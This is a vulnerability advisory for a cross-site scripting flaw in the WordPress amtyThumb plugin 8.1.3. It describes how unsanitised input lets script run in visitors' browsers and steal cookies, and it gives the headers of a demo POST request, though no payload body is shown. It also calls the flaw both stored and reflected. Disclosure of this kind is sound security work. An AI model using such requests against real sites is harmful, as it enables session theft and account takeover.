WordPress amtyThumb 8.1.3 Cross Site Scripting

WordPress amtyThumb plugin version 8.1.3 suffers from a cross site scripting vulnerability.

MD5 | 749cafe35287a46fc9858168d75df892

Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable amtyThumb posts Plugin 8.1.3

amtyThumb posts Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the values are not filter correctly:

Demo Request POST:

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13


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